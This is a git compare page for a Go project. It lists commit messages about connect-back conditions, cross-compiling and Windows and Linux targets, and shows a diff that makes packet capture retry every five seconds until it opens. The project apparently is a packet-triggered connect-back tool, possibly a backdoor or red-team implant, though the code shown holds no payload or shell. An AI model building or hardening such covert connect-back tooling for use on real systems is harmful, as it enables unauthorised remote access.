Compare commits

..

11 Commits

Author SHA1 Message Date
Pin
46e2d35fbe Adding error handling for socket connection 2024-03-16 18:48:38 -04:00
Pin
963db705d9 changed append to write 2022-04-03 23:28:41 -04:00
Pin
de9feed536 Adapter linux client for xinetd
Signed-off-by: Pin <wf6DJd8a3xSSCZbn@protonmail.com>
2022-04-03 23:28:41 -04:00
Pin
6d101ddd9c adding fork message 2022-04-03 23:28:41 -04:00
Michael Vaughan
e8379e0c66 add linux static target 2022-04-03 23:28:41 -04:00
d3adzo
bb97442081 final updates + readme cleanup 2022-04-03 23:28:41 -04:00
d3adzo
7f3c21d496 connectback condition fail fixed 2022-04-03 23:28:41 -04:00
d3adzo
4c5b302292 fixed 2x TCP issue 2022-04-03 23:28:41 -04:00
d3adzo
3f6d3b3f80 cross compile, now testing 2022-04-03 23:28:41 -04:00
d3adzo
3eb2035d33 added win support, need to fix cmd window syscall error 2022-04-03 23:28:41 -04:00
Pablo Potat0
13f4c70e64 Update README.md 2022-04-03 23:28:41 -04:00

14
main.go
View File

@@ -9,6 +9,7 @@ import (
"os/exec" "os/exec"
"runtime" "runtime"
"strings" "strings"
"time"
"strconv" "strconv"
@@ -70,12 +71,21 @@ func sInit(os string) *targetInfo {
return &tInfo return &tInfo
} }
func openCapture(tInfo *targetInfo) *pcap.Handle {
for {
handle, err := pcap.OpenLive(tInfo.iFace, tInfo.snaplen, true, pcap.BlockForever)
if err == nil {
return handle
}
time.Sleep(5 * time.Second)
}
}
func main() { func main() {
tInfo := sInit(runtime.GOOS) tInfo := sInit(runtime.GOOS)
// Read package and analze them // Read package and analze them
handle, err := pcap.OpenLive(tInfo.iFace, tInfo.snaplen, true, pcap.BlockForever) handle := openCapture(tInfo)
errorPrinter(err)
handle.SetBPFFilter(tInfo.filter) handle.SetBPFFilter(tInfo.filter)
packets := gopacket.NewPacketSource(handle, handle.LinkType()).Packets() packets := gopacket.NewPacketSource(handle, handle.LinkType()).Packets()